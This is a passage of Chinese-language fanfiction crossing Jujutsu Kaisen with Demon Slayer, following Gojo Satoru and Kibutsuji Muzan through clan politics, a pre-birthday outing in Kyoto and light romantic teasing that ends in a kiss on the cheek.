五条悟猛地扭过头,脸颊和眼尾貌似更红了。鬼舞辻无惨饶有趣味地凑过去, 就像是发现了什么新鲜事。 “这么纯情?” 五条悟扯住他的西装下摆,指尖微微用力,断断续续的拉扯感就跟他的内心一样起伏不平。 、 “要你管啊!”五条悟鼓着嘴,紧闭双眼, “血都喝了, 你别管那么多嗷。 赶紧给老子变!” “哎呀。”鬼舞辻无惨收回视线, 莫名有点想逗逗他,“其实我从前也只是转变过年龄和性别, 还没有尝试过变成其他的人。 也不知道能不能成功呢。” “哈?”五条悟一溜烟就从地上爬起来, 不可置信地看着他,“你在耍老子吗?” “我可以?” “当然不可以啦!” 鬼舞辻无惨冲他勾了勾手指。 “那你过来一下。” “……你别耍花招啊。”五条悟狐疑地看着他,最终还是决定给他一个机会。 五条悟磨磨蹭蹭地上前, 一点一点地靠近他。但鬼舞辻无惨不管那么多,扯着他的领子就把人拉了过来,然后上上下下把人摸了个遍。 五条悟:?? 五条悟一惊一乍地往后跳了一步,正好错开对方往他脸上摸的右手。 “你你你你你,干什么啊!” 五条悟感觉自己的脑袋都快要冒烟了,跟瞅见什么不得了的东西一样,紧紧保住自己。面上又惊讶、又羞涩、又惊恐,心里一边骂对方,同时也骂了两声自己,不忍直视他的目光。 “摸骨啊,我又没有六眼。” 五条悟哭唧唧地捂着脸,跟被轻薄了一样,脸红的不行。 “六眼是用来观测咒力的! 不是用来干这个的!” “好了五条悟。”跟对方比起来,鬼舞辻无惨的声音不可谓不平静。毕竟之前为了收集情报,还在花街待过一段时间,隔着衣服摸摸骨头这种事,简直就是小儿科。 “睁眼,不然我走了。” 五条悟吸了吸鼻子,还是觉得这有点太过了,吐槽到这人就完全没感觉吗? 等等,这老东西实际上已经活了上千年了,所以…… 他真的觉得这就是小儿科? 五条悟怒而松开手,调动着自己觉得最有压迫感的目光,向他扫射过去。但一切的作态,都在看到对方如今的模样后,完全失去了意义。 面前出现的是一张早已深深印在脑海中的脸,是五条悟自己的脸。没有戴墨镜,面容明丽,五官流畅,湛蓝色的瞳孔透亮得如出一辙。 对方的身体应该被拔高了几公分,看着和自己一样高了,身形也大差不错。唯一的,也是最大的差别,是对方脸上与五条悟截然不同的表情。他的眼睛半合着,视线并没有转向五条悟,只是静静地注视着自己的掌心,之上有蓝光闪过,然后消失不见,平静又宁和。 五条悟眨巴眨巴眼睛,顿时感觉面上的红晕弱了下去。 五条悟凑近观察他,还伸手戳了戳他的脸颊。 鬼舞辻无惨脸上表情半点都没变化,只是转动眼珠子,目光也落在五条悟的脸上。 “做什么。” 五条悟脸上表情愈发猖狂,接着凑过去,然后不出所料地在对方的眼里看见了熟悉的嫌弃。 “哈哈哈哈!” 五条悟猛地笑起来,觉得超级有意思。接着双手掐住他的脸,上上下下揉了揉,并且非常有眼力见地在对方忍无可忍之前,就收回了手。 “不行啊,你这一看就不像我。” 五条悟摸着下巴,里鬼舞辻无惨几步远,保持了个安全距离,随后有模有样地给人提指导意见。 “这样,你笑一个。” 鬼舞辻无惨看着他,深深地叹了口气,不知是想起了什么,嘴角扬起一个浅浅的笑。 下一秒,这笑容陡然扩大,眸中的平静被瞬间打破,他的目光变得锐利,像是于深夜之中窥视着人类的怪物,嘴角牵扯着皮肉往上,扬起一个张扬的笑。这猎人的视线似乎有所展露,那湛蓝的瞳孔中央,被染上一层血色,像是鲜艳的晚霞。 五条悟扶着对方的肩膀,瞳孔放大,愣了两秒,随后脸上展开类似的笑,二人的神态如出一辙。 于是乎,鬼舞辻无惨伪装成为五条悟,前往加茂家谈判,而五条悟本人,则是趁阳光正好,摸进了禅院家。 禅院直毘人还没意识到接下来会发生什么,还在听着下属传来的情报。 五条家主暗访加茂家,九个字,禅院直毘人来来回回看了五六遍,视线就凝滞在这里。 “你说,五条悟在不在加茂家?” 禅院直毘人心里有些烦躁,指尖一下又一下地敲击着木椅的扶手,语气之中的焦急如何也掩饰不了。 侍从跪在他身边,轻声低语:“属下不知。” 话音刚落,头顶传来一声轰响,接着五条悟的脑袋就探了进来。 禅院直毘人抬头,和他对上视线,心里松了口气,面上则没有过多的展露,仅仅只是表现为一个爽朗的笑容。 “五条少主还真是不走寻常路啊。” 禅院直毘人笑眯眯地说着,指示侍从为对方安置好座位。 五条悟稳稳落地,拉着椅背稳坐上去,翘着右脚,跟在自己家一样闲适。 “老子可是特意绕过加茂家的眼线过来的,怎么样啊老头,感不感动?” “乐意之至。” 二人的交谈十分顺利,或者说,正儿八经的交易内容,五条家同禅院直毘人已经在前些日子商量好了。具体包括但不限于安插五条家成员进入禅院家,保证禅院直毘人的家主之位,等等。 但五条悟在索要十种影法术的相关资料的时候,对方提出了个要求。 那便是将禅院家目前的少主,禅院直哉送入东京咒术高专,同几位御三家的祖传术式一同接受操练。 在听到这个要求的时候,五条悟愣了一下,瘪着嘴。 “老子倒是无所谓。 不过,你真的觉得,那个家伙……” 说到一半,五条悟自己都笑出了声。 “行吧,反正都差不多。” 两位大人物在一间小小的屋子里,定下了未来会决定御三家乃至整个咒术界的大事。 五条悟来也匆匆去也匆匆,不留一丝痕迹。 直到屋子里仅剩禅院直毘人和那位最开始的侍从。家主叹了口气,似乎在一瞬间就老了几分。 “唉……全身而退,如何能全身而退。” “是要敲骨剥髓啊。” 但是不断这半截身子,说不定禅院家就要消失咯。 禅院直毘人摇摇晃晃,似是在自嘲。 “算了,去搞点酒喝,剩下的要来,就让他来吧。” 门外,阳光正好,照的人暖洋洋的。 ………… 直到夕阳烧得正红火,鬼舞辻无惨才重新回到五条家。 当五条瑾打开房门的时候,五条悟瞬间从里面蹦出来。他被吓了一跳,随即只是摇摇头,脸上露出个无奈的笑。 “悟君还是一如既往。” “啊?”五条悟像是觉得有些不好玩,撇了撇嘴,“你怎么一点都不惊讶?” “悟君觉得我会惊讶什么。” 五条瑾慢慢进入房间,鬼舞辻无惨已经变回了原来的模样,慢悠悠地进来。 “嘁。” 五条悟觉得他的笑容有些隐藏,还带着点无奈,于是颇感无趣,手上的力道用重了点,房门合上的时候,发出沉闷的声响。 “至少我也照顾了悟君这么多年,若是连哪一个是真正的悟君都分辨不出来,也算是我的失职了。” “……知道啦。” 五条悟不是无动于衷,但他沉默了半晌,最终只是对着家主做了个鬼脸,然后把话题停在这里。 接着就是照例的汇报,例如今天的行动成果,目标的完成,以及目前的对峙局面的形成之类的事。 五条悟出于自己的情感,不想听家主叨叨叨的念个不停,颇感无聊地戳了戳鬼舞辻无惨的肩膀。 然后不出意外地被一个手刀劈在手背。 五条悟的表情扭曲了一瞬,接着不死心地跟他玩起了斗智斗勇的小游戏。 事情交代得差不多,五条瑾的声音渐渐弱下来,眸中挂着些许的无奈。 或许还有满足?他不知道。 月明星稀,但总有莫名其妙的人出现在莫名其妙的地方。 就比如,现在鬼舞辻无惨站在自己的窗前,满脸困惑地看着正在自己床上打滚的某位幼稚鬼。蓦地感觉牙有些痒,上下的门齿碰了两下,压下了这种感觉。 “五条悟,这是我的床吧?” 五条悟抱着自己的枕头坐了起来,语气无辜,“怎么了反正你又不睡,整个晚上都喜欢坐房顶上装深沉。” 鬼舞辻无惨感觉脑门上爆出几根青筋。 “……我没有装深沉。” “真的?我不信。” 五条悟把下巴搁在自己的抱枕上,歪着头注视着他。 “你不觉得今晚月色很好,很适合做些什么吗?” 虽然是从夏日祭之后就隐隐有些预感,但是鬼舞辻无惨还是有些疑惑。 “为什么是今天?” 五条悟右手握拳,支撑起下巴,漂亮的湛蓝色瞳孔毫无遮掩地裸露在月光下。 “感觉有一点点难过,当然,只有一点点。” 活了千年,鬼舞辻无惨也算是阅遍世间百态的人了,几乎是瞬间就看出了五条悟现在的纠结。 “嘁,缺爱的小鬼,你现在该做的事是找你爹促膝长谈,而不是来烦我。” 五条悟嘴硬地嚷嚷到:“老子才不要啊,谁想和他谈啊。” “哦,还有。”鬼舞辻无惨的话吸引了五条悟的目光,“我对幼稚鬼没兴趣。” 五条悟:…… “可恶啊你个混蛋!” 第57章 第 57 章 生日篇 接下来的几个月时间里, 御三家发生了翻天覆地的变化。 由于加茂家的介入,和五条家的暗中撺掇,禅院家内部的派系斗争达到了前所未有的激烈, 斗争结束后, 家族内部一二级的咒术师数量减少了三分之二, 顶尖的一级咒术师十不存一。 三位禅院家的高层,一位已确认死亡, 一位重伤仍旧昏迷不醒,哪怕苏醒了也是个废人。余下的一位,还算有点眼力见, 主动请辞, 从高层上退下来,辅助如今的家主禅院直毘人。 至此, 由余下的高层判断,禅院家已经失去了左右咒术界大局的能力, 因而将其从御三家之中除名,判处其不再拥有高层席位。 在禅院家倒台后,加茂家所拥有的高层席位增添至四席。但由于加茂弥利用鬼舞辻无惨的血液,加紧了有关制造赤血操术完美载体的实验。因而实验的各步骤与进度, 都被鬼舞辻无惨通过血液牢牢把控在内。基于有关于实验进度的信息, 五条家公布了加茂家正在进行的实验全貌, 引起整个咒术界的震荡。 至此,由五条家单方面宣布将加茂家从御三家中除名, 并由五条悟带队剿灭反扑的残余势力。加之先前交易过程中, 同加茂家立下束缚的并非五条悟本人,加茂家的反抗没有掀起一点水花,余下的加茂家族人在如今的家主带领下, 接受了五条家的判罚。反抗派旧部则暂时隐藏了起来,无法寻觅其踪迹。 但这已然不再重要,五条家现在牢牢掌控了咒术界的大政方针,并在五条悟的指令下,开始清扫仍旧藏在咒术界各链条之中的,加茂家和禅院家的旧部。 忙忙碌碌几个月,一眨眼,雪已经越下越大了。 五条悟好不容易应付完今天要处理的事,拖着略显繁琐的衣摆走出门,才发现天地万物早就蒙上了一层朦胧的白。寒风夹杂着细雪,往和服的领子里灌。 五条悟不怕冷惯了,怔怔地伸出手去,试图接住那片薄薄的雪花。那一抹白落在手心,被无下限拖起,在空中存在了片刻,就挣脱了这般的牢笼,自顾自地消失了。 大张旗鼓地运作了近半年的时间,现在只差最后的弥合,阵痛不能持续,否则咒术界会陷入难以平息的震荡,就只能再过一段时间,让现在的人们先习惯目前的咒术界,然后再寻求更深层次的变革。 因为在五条悟看来,目前他所做的一切,在咒术界众人眼里,在诅咒师群体眼里,最多只能算得上是高层间的权力斗争。 但不要紧,五条悟慢慢想到,不要紧,他知道自己在做什么,他还有很多时间,有…… …… 五条悟轻叹一声,思绪莫名其妙飘回到咒术高专。 伏黑惠和加茂宪纪已经在各家的带领下,接受了正式的训练,祖传术式的成长能力在此显现,其实力突飞猛涨。 伏黑甚尔时不时来高专指导一下禅院真希,但他也不怎么懂教学,最多时候就是教授纯粹的战斗技巧,绝杀技和保命技。 真希的妹妹真依,在经过两个月的专业训练后,放弃了咒术师的训练,反而是跟着辅助监督的人学东西,据说她未来的目标,是当她姐姐的辅助监督。 禅院直哉在刚刚入学的那段时间,仗着自己的咒术优势和禅院家少主的身份,没少惹伏黑惠和加茂宪纪生气,还经常看不起同为一年级的灰原雄和七海建人,时常打压禅院姐妹。 但这一切,都在禅院家被从御三家之中除名后变了。禅院直哉回了一趟禅院家,也不知道家主和他说了什么,他总算能做到和善对待自己的同学和后辈,至少装也要装的和善。 现在的二年级,好像就只剩硝子一人了诶。毕竟杰退学了,自己又一直待在五条家,基本不回高专。五条悟不禁想到,也不知道下一年,东京咒术高专还能不能赢下姐妹校交流会。 至于夏油杰那边,他所管理的盘星教得到了当地咒术官方的扶持,势力整整扩大了三五倍不止。借着宗教为由头,尽可能搜寻那些被遗留在平民之中的幼年咒术师,并对其进行教育,办的有模有样。 ………… 五条悟慢慢弯下身子,在原地坐了下来,盘着腿,手肘抵在膝盖上,比雪花更透亮的眸子静静地凝视着天地间的景色。六眼一直在收集着周围的信息,传回来的也只有寂静的冬雪。 五条悟坐在原地,眨了眨眼,随后慢慢闭上。但六眼仍旧在运作,扰得人心烦。 他因为失去了什么,所以试图改变什么;但正是因为要改变什么,所以失去了更多。 …………那双眸子只张开一点缝隙,像是有些疲倦。 而就在这时,他的身后传来了脚步声。 一起相处那么久了,五条悟还时不时夜袭鬼舞辻无惨,对他的步伐简直不要太熟悉。 鬼舞辻无惨照例走到他身边,这个时候,轮到他开口调侃。 “怎么,你也在装深沉吗?” 五条悟咬了咬牙,轻哼一声,拽着对方的西装外套就把人往下拉,鬼舞辻无惨跟着他的力道,坐在了他身旁。两人胳膊对着胳膊,肩膀抵着肩膀。 五条悟顺势上前,两手合抱,十指相扣,搂住了他的腰。五条悟本就处于长身体的时间,这半年又往上蹿了好几公分,跟鬼舞辻无惨的身高差距渐渐拉大。仗着自己手长身子长,整个人几乎都要挂在他身上。接着又把脑袋抵在他的肩膀上蹭了蹭,倒是真像一只大型猫猫了。 鬼舞辻无惨任由他抱着,伸手揉了揉他那头白发,发尾有些刺挠,但整体却是柔软的,正如他这个人一样。 “你在在撒娇吗?” 五条悟对此表示否认,“没有,怎么会,不可能。” 鬼舞辻无惨没有追问,只是轻笑一声,至于答案怎样,其实都不重要了。 原先是由御三家共同管理咒术界的,如今只余五条家,这就导致了五条家的实际工作量翻了三四倍不止。再加上其余两家被除名后的善后事项,虽然五条悟并不处理最为繁琐的一部分内容,但乍一下从无忧无虑的青春年少,转变为被权力斗争交锋捆绑着的,所谓五条家未来的家主,五条悟初步承受了这青年人所不该承受的社畜生涯。 一谈起这个,五条悟瞬间苦着张脸,感觉哪怕是毛豆奶油味道的喜久福都没法哄好了。 “你都不知道,让他们翻新一下咒力监测装置,一个二个的上赶着来找五条家要钱,就好像那钱能进他们口袋里一样。” 五条悟气鼓鼓地说到,半是吐槽半是厌恶,“反正老子下了死命令,真敢贪一点,老子让他们吃不了兜着走。” “嗯嗯。”鬼舞辻无惨慢悠悠补充到,“你做的很好。” 五条悟有些不满,但又想要更多。 “你这个语气,是在哄小孩子嘛?” “你就是小孩子啊。”鬼舞辻无惨知道他想说什么,想要什么,但更多的是抱着逗弄对方的想法,“年龄还没我的零头大。” 五条悟诡异地沉默了。 完蛋,他说的是真的…… 说起年龄…… 今天都十二月六号了…… 五条悟猛的抓住鬼舞辻无惨的手,然后凑到他面前,试图用自己的美颜暴击来迫使对方妥协。 “明天就十二月七号了,啊……” 五条悟语气蔫蔫儿的。 “所以呢?” 五条悟的声音一点都不开心,“到了明天老子就十七了,你知道这代表着什么嘛……” “这能代表什么。”鬼舞辻无惨表示不屑,“反正都没有我年龄的零头大。” 五条悟怒而掐了下他的手臂,然后又瘫在他身上,懒得动弹。 “你个活了一千多年的老东西不要拿年龄说事啊。 老子十七了诶,这代表着还有一年,老子就要成年了!” 鬼舞辻无惨目光诡异地看了他一眼。 五条悟瞬间秒懂,然后脸颊染上一层薄红。也不知是恼羞成怒,还是恼羞成怒,还是恼羞成怒,五条悟的指尖用力掐了掐他的手臂,然后又揉了揉,语气断断续续。 “你在想什么呢…………” 五条悟咬牙切齿,“是五条瑾那个家伙,绝对会趁老子成年,把家主的位置传给老子的! 这很恐怖啊。 老子都能想到被各种文件折磨得大半夜都不能睡觉的惨状了啊,老子才不要继承家主之位啊!” 五条悟仿佛脑子里真的出现了画面,身子猛的抖了一下,然后紧紧抓住鬼舞辻无惨的手。 “可恶啊,陪老子过生日嘛,好不好?” 虽说是问句,但五条悟把眼睛凑到对方面前,期待地看着他,显然是不希望他拒绝,无论是自愿的还是被迫的。 “什么时候?” 鬼舞辻无惨随意问了一句。 “现在,立刻,马上!” 五条悟的情绪立刻跳动起来,就像是一点点猫条就能哄好的长毛猫。 鬼舞辻无惨:“你生日不是明天?” 五条悟双手抱胸,理直气壮。 “拜托诶,等明天再去玩,浪费掉的时间谁给我补啊。” 五条悟迫不及待地拉住鬼舞辻无惨的胳膊,已经把书房里的文件什么的通通抛在脑后了。 “快走快走,我们出发!” 第58章 第 58 章 五条变猫记…… 五条悟在变成猫之后, 不仅嗜睡,脾气似乎也变差了? 而且,话说猫咪能吃奶油巧克力之类的东西吗? 鬼舞辻无惨皱着眉看着现在正趴在桌子上, 啃着巧克力奶油喜久福的某只白毛猫猫, 无奈地扶额。另一只手摸着他的脑袋, 顺着后脑一直抚摸到脊背,还时不时地揉一揉耳朵上边。猫猫很配合地抬起脑袋, 一边蹭着鬼舞辻无惨的指尖,一边舔舔嘴边的奶油。 下一秒,猫爪瞬间就按在鬼舞辻无惨的手背, 然后发力把他的手掌抵在桌子上。 “喵呜~” 翻译:太可恶了喵! 五条悟喉咙里发出既像恼怒又享受的呼噜声, 大脑就像是被浸泡在陈年的老酒里,晕乎乎的, 时不时才能恢复点神智,剩下的时间就好像一只真的猫一样。 当然, 五条悟有的时候会陡然察觉到不对劲,自己被猫咪的生活习性干扰的太过严重了,也会瞬间清醒一会儿。 接着,猫猫纵身一跃, 借着鬼舞辻无惨的大腿当跳板, 稳稳当当地停在他怀里。 鬼舞辻无惨没动, 第一个反应是: “别把奶油弄在我衣服上。” “喵喵喵!” 翻译:怎么可以嫌弃本喵呢!谴责你。 但少年时候的五条悟很好哄的,特别是在变成了猫之后, 只是被挠了挠下巴, 就放弃了谴责,转而一个劲地贴贴。 “越来越像真的猫了啊,五条悟。” 五条悟有气无力地回了他一声, 在他怀里打了个滚。 “喵……” 翻译:至少老子还听得懂你的话…… 蓦地,猫猫的眼睛亮了一下,接着而来的情绪有些波动。 “喵喵,喵喵喵!” 翻译:对哦,都变成猫了你是怎么听懂老子的话的? “不清楚。”怀里的分量沉甸甸的,蓬松的猫毛被手掌拂过后,贴着滚烫的皮肉。掌心的触感柔软,泛着热意,带着猫科动物独有的的呼吸节奏,“可能和你的咒力有关,我身上有你的咒力。” 在这个世界,能够造成如今的局面的力量,说到底也就只有咒力这一个吧。 …… 但什么存在,能在两位都毫无意识的情况下,给五条悟施咒,封印了他的六眼,让人彻底向猫儿转变呢? 鬼舞辻无惨叹了口气,虎口掐着五条猫猫的胳肢窝,当然,假如猫猫有的话,被举了起来。前爪被鬼舞辻无惨抬起,猫眼与对方平视,后爪还落在他的腿上。一整条猫猫被拎起来,五条猫猫的前爪扑腾了半天,搭在了他的脸上。 圆滚滚的猫脑袋凑近,有着天蓝色瞳孔的布偶猫伸着舌头,舔了舔鬼舞辻无惨的脸颊,引得对方叹了口气。 “你是真不怕变不回来啊,五条悟。” 五条猫猫的半个身子被放下,重新落回到他的腿上,接着把自己团吧团吧,圈成了个球,十分安稳地在他的腿上重新睡了下去。 “喵呜……” 翻译:怎么,你不行吗? 鬼舞辻无惨轻笑一声:“激将法对我没用。” 猫猫伸出爪子,把对方的手掌按在下面。 “……不过既然是你用的,那我就勉为其难地,接下了。” 第59章 第 59 章 生日篇2 五条悟身上早已换上了相对简单的和服, 是极浅的蓝,从领口到下摆装饰着淡淡的蓝色条纹,袖口略显宽大, 但不影响活动。 为了避免如同上次参加祭典时候的急急忙忙, 连墨镜手机现金什么都没带的后果, 五条悟这次在换衣服的时候检查了一遍。 结果就是,鬼舞辻无惨看着对方手里的一堆卡, 露出疑惑的表情。 “你这是…………” 五条悟两指翻翘,把手里的四五张卡叠好,跟展示扑克一样立在他面前。 “这张是之前常去的那家甜品店的会员卡, 叫什么……ASSEMBLAGES KAKIMOTO?想来上次去好像还是在上次, 这段时间吃的都是家里准备的甜品。 这几张……呃,如果我没记错的话, 应该是四条河原町商圈里面的几家店,上次跟杰一起给硝子买化妆品的化妆品就是在那拿的。 还有如果去新京极商店街的话, 我还带了点现金,可以买伴手礼。当然那群家伙要是忘了老子的生日……” “那你就会把伴手礼自己吃掉?” 五条悟麻溜地把一堆杂七杂八有的没的小东西塞进财布里,系在腰间。 “怎么可能,老子要狠狠谴责他们。” “谴责完再吃。”五条悟扶稳了眼镜, 对着鬼舞辻无惨比了个耶。 “出发!” ………… 不过, 虽然说了要出门好好玩一会儿, 但意外总是先于计划的。 具体体现在,等两人坐着地铁到了神宫丸太町站才发现, 那家甜品店已经闭店好久了。 五条悟:…… “可恶啊!”五条悟气鼓鼓的, 叉着腰仰天长叹,然后瞅见鬼舞辻无惨毫不留情的嘲笑,顿时怒而怒了一下, “你这家伙啊,老子都这么惨了,不许嘲笑老子。” 五条悟伸长了脖子,脑袋凑到对方的脸面前。 然后又被抵着脸颊推开。 “气不过啊气不过。” 五条悟看着面前紧闭的玻璃窗上挂着的木牌,拨打了上面的电话。 鬼舞辻无惨无奈地看着他,眼珠子跟着对方来回走动的身体,“嗯……就不能换一家吗?” 五条悟理直气壮,“不能,我今天必须弄清楚为什么。” 电话很顺利,对面传来个温和的中年男人的声音,接着又是夹杂着一阵或轻或重的声音。五条悟眉毛一挑,敏锐地感觉到了不对劲。 似乎是战斗传来的声响,是咒具。 “喂喂,发生什么事了,你们这店还开不开了?” 对方的声音时轻时重的,“真是非常不好意思!本店目前遭遇了一些事情,被迫闭店。预计会在下周重新……” 对面的声音陡然断掉,接着又传来一个惊恐的叫声,然后是手机跌落在地上的声音,随着最后一声“滴”,电话彻底被挂掉。 此时的五条悟不太清楚脑子里在想什么,大抵是无语地笑了吧。 “好嘛,事情真是一个接一个的来啊,还让不让人消停了。” 鬼舞辻无惨扶着下巴,就像是笃定了他的选择那样调侃到:“那不管?” “……我又没说我不会管。” 五条悟抿着唇,颇为不情愿地从联系人那一栏里找到了管辖京都市的官员的联系方式,又从他那里索要左京区负责人的联系方式。交谈过程中非必要不发言,沉沉的音色惹的对面大气都不敢出,生怕触怒了面前这位五条家的实际掌权者。 最后五条悟找到了自己需求的答案。大概在不到两周前,这家甜品店里冒出来一个能力特殊的咒灵,不算强大,但情况特殊并且很麻烦。于是原来的左京区的负责人建议是先闭店处理,官方在两周内会派专人解决。 但现在两周已经过去,甜品店没有开门,也就是说问题没有解决。 实际上这是不应该的,但事实就是,原来的那位负责人,因为贪腐问题,被弹劾下台。新的负责人还未上任,不少工作目前都处于停滞状态。 对此,五条悟表示十分纳闷:“上面的权力更替关下面什么事?正常做自己的工作不就行了,又不会少他的工资。” 对面的声音有些凝滞,声音弱弱的,有点心虚地回答他:“这个嘛,大人,是这样的。 不少负责外勤和战斗的咒术师,本身隶属于原先的负责人那一脉。那家伙倒台之后,这些人一方面担忧危机会波及到自己,另一方面又在意自己被许诺的利益无法得到实现,所以他们就,额,集体罢工了……” 五条悟感觉自己现在有一肚子火气要发,但皱着眉折磨了半天的地板,最终选择挠了挠头,在面对下属官员的时候,还是以工作为主。虽然五条悟并不在意自己的形象,但接手家族事务半年,五条悟更愿意给自己少找点麻烦。 毕竟,形象不好惹且给钱快的上司形象,最能提高员工的工作效率。 “是吗,你的意思是那群人仗着咒术师人员短缺搞罢工是吧?” 对面的市负责人抹了一把额头上并不存在的冷汗,颤颤巍巍地说:“是,是的。” 然后是长久的寂静,五条悟的呼吸声很浅,又加重了这种寂静,就像是风暴之前的寂静。 “……大人,您……有何指示?” 五条悟轻笑一声,但笑声中体会不到丝毫的高兴的情绪。 “你叫什么?” “回大人,下官名叫山越英浩。” “嗯,知道了。”五条悟的声线不带起伏,“我给你调动府级咒术师资源的权力,三天,啊不,两天之内,我要看到左京区部门重新正常运转。” “办成了,我推举你能在两年之内,晋升为府级负责人。当然,要是没办成……你就一起跟着被撤职吧。” 电话对面倒吸一口凉气,然后连忙应了下来。 “多谢大人能给此机会!” 接着,五条悟又要了这两周停滞的任务清单,随即就挂掉了电话。 ………… 鬼舞辻无惨似笑非笑地看着他,“挺有模有样的。” 五条悟瘪瘪嘴,委屈巴巴地说到:“太蠢了啊,完全没有一点悬念,果然又是派系争斗,又是利益纠葛,烦死了!这群人没点别的新意吗!” 五条悟一边蹭着鬼舞辻无惨的脑袋一边嚷嚷着,“太可恶了太可恶了,这么点事就闹成这样,怪不得丁点大的地方都管理不好。想想就可恶,还要老子出马。嗯唔嗯唔啊,烦死了。” 五条悟一边说着,一边把身子扭成软体动物一样,声音黏黏糊糊的。 “还有!看见老子不爽,你很高兴吗?”五条悟看着鬼舞辻无惨面上那难以遮掩的笑容,颇为不敢置信地说到。 “我可没有。”鬼舞辻无惨把他扒拉在自己肩膀上的手撇开,不轻不重地掐了下他的脸颊,“只是觉得,你变脸倒是变得挺快的。” 五条悟配合地睁大了眼睛,露出一个灿烂的笑。 而这时,有关于停滞工作的文件也被发到了五条悟的手机上。五条悟花了几分钟,大致浏览了一遍,随后关掉手机。 “不管?” 五条悟瞥了他一眼,又迅速把眼珠子撇开,“不管。” “反正最近天不错,也不是什么紧急到危及性命的事情要处理,交给他们自己解决吧。 从府到市再到区,总不能都交给老子管吧?那咒灵被杀光前,老子先累死了,不要。” 鬼舞辻无惨眼神往下一撇,直接抓住五条悟鬼鬼祟祟试图探向他腰上的手,惹得五条悟一愣,随后装傻卖萌。 五条悟点了点手指,绕了两圈,又指着某个方向,“我带你瞬移过去呀,超快的。” ………… 左京区,某处废弃住宅楼内部。 甜品店的店长正和五条悟打电话,中途猛地被某只黑乎乎的咒灵突脸,顿时呼吸一滞,一口气差点没喘上来,于是手机滑落在地,发出清脆的碰撞声。 知夏子及时赶到,一脚将他踹开三四米。 “都说了让你不要跟来啊。” 店长出于对店铺重新开业的急切,和官方所说应该派遣的咒术师迟迟不到,这才铤而走险找了诅咒师。但他心底也还在打鼓,担心会出问题,在了解到这个咒灵并不算什么大危险后,才执意要跟来。 先前他一直是待在战斗范围外的,但这个咒灵也不知是被逼急了还是如何,直接挣脱了束缚向他攻击来。 经过一段时间的苦战,知夏子以一刀作结,将死死地咒灵钉在墙上。 知夏子以枪尖着地,右臂抵着枪杆靠在上面,轻轻喘着气。 “……解决了?” 店长试探性地问到。 “嗯,解决了,怎么样,还算简单吧?” 知夏子冲他挑了下眉,露出一个与战斗模式十分不符合的甜美的笑容。 店长点点头,顺带着给对方做了个九十度的鞠躬。 “非常感谢您!” 知夏子摆摆手,“不用不用,记得把尾款结了。” 任务,成功;咒具,完好;雇主,活着。 很顺利的任务才对,但总感觉哪里传来的有种不祥的预感。 “嘶……” “不对劲,绝对不对劲。” 果不其然,一发苍直接略过知夏子的脑袋,随后轰的一声砸在已经满是裂痕的墙壁上。五条悟带着鬼舞辻无惨落地,就像是发现了什么新奇的猎物。 “呀,熟人嘛这不是。” 第60章 第 60 章 生日篇3 知夏子:糟了, 今日不宜接单。 但好在两人都没有现在出手的想法,五条悟甚至在之前就收集过知夏子的情报,觉得她这个条件非常适合做中间代理人。 只不过呢, 同知夏子的谈判需要一个正儿八经的时间和场合。当然更重要的是, 五条悟坚持自己跑出来是为了提前感受生日的氛围, 拒绝在现在工作。 正常的通讯手段很容易就能被丢弃,特别是从暗网出来的人, 所以最后还是决定在她身上种下鬼舞辻无惨的血,以方便后续的沟通。 两人在这附近找了家手握寿司店吃晚饭,暖黄的灯光映照着已经暗下去的天, 接上那半缕还残留的斜阳, 像是缱绻的情话。 “不过说起来……” 五条悟咽下油脂丰富的三文鱼,掌心托着下巴。 “之前给加茂家的那一管血, 你还能感受得到吗?” 鬼舞辻无惨摇了摇头,“气息彻底消失不见, 联系似有似无,但找不出具体的所在,我猜测可能是被不明功能的咒具遮掩了存在。” 五条悟弓着背,差点把一个寿司看出花来了, 面上是聊无趣味的表情。 “要么是加茂家还藏了点算是有用东西, 要么是他们后面还有别人。 但五条家缺少这方面的情报, 是谁能在这种时候给加茂家帮助呢?” 前者比较好办,毕竟无论是加茂家还是禅院家, 其反对势力被铲除后, 余下愿意接受五条家领导的势力得以留存,五条悟也允许两大家族的族人以个人名义参与到决策中来,五条悟会给予鼓励措施。 毕竟要给五条家留点压力, 不然高高在上把控权力久了,想不烂都难。 “那个诅咒师。”鬼舞辻无惨指的是方才同两人见过一面的知夏子,“她的价值是?” 五条悟手指绕着盘子画圈圈,声音懒洋洋的,“暗网上有名的咒具使和专门卖咒具和情报的中间商,出了名的神秘,有钱就赚。如果到时候官方想接触诅咒师,她是个很好的渠道,毕竟卖情报的人手上最不缺的就是人脉。 当然,从伏黑甚尔那边入手也可以,天与暴君被官方拉拢了这件事,想必也是能震一震那群家伙。只不过伏黑甚尔最近被九十九由基烦的不行,好像是为了实验的事,说什么进入到瓶颈阶段,急需他的帮助。 要我看啊就是钱没给够。” 五条悟用勺子搅着碗里的东西,听着鱼子酱被勺子碾碎的声音,十分不爽地撇了撇嘴。 “喂,老子好无聊,你哄哄老子。” 鬼舞辻无惨:? “这话又怎么说?” “堂堂如此帅气英俊强大的五条悟大人在你面前变得如此的憔悴,你难道就没有改变一下这种情况的想法吗?” 鬼舞辻无惨仍旧不为所动,“不好意思,完全没有。” 五条悟重重地叹了口气,感觉如果不是他俩现在在公共场合,下一秒五条悟就能扒拉着在地上打起滚来。 “拜托啊,这半年来似乎一直都是老子在主动吧? 你除了时不时冒出一句很那啥之外的话之外,完全没有什么表示啊喂。” 鬼舞辻无惨有些好笑地看着他:“嗯?我说什么了?” “你说。”五条悟捏着表情,连语调都模仿了个八、九成,“五条悟一级棒,你因为五条悟而感到超级开心。” 鬼舞辻无惨有些诧异地看了他一眼,“不够?” 五条悟趁着面前的桌子被清空,趴在桌上,用筷子头戳了下他的手臂。隔着衣服,触感并不是很真切。 “完全不够啊喂!怎么想都不够吧?” “你这家伙,好歹也要主动一点吧?”五条悟那墨镜后的眸子里,确确实实露出了点不满,“你也很可恶。” “嗯哼?那你过来一下。” 鬼舞辻无惨现在的笑容并不算多么友好,但这句话前后衔接的东西实在是太有诱惑力了。所以五条悟蹙着眉,试探性地凑过去。 下一秒,苍白的指尖掐着五条悟的下巴,对方的气息随之扑上来,隔着一半的六眼,那面容陡然被放大。 五条悟瞳孔骤缩,期待混杂着羞涩,第一反应是扭过头去躲避,但这躲开的力道也不完整,所以这吻便落空了。 在温暖的房间中,带着点凉意的一个吻落在五条悟的脸颊上。下一秒,五条悟脸颊爆红,艳丽而胜过这晚霞的余晖,比燃烧着的鸡尾酒更醉人。 “你你你你你……我,我……” 五条悟结结巴巴地说不出一句完整的话,下意识想去摸自己的脸颊,但又感觉那样太过于刻意,好像显得自己很单纯一样,于是他又赶忙把手放下。 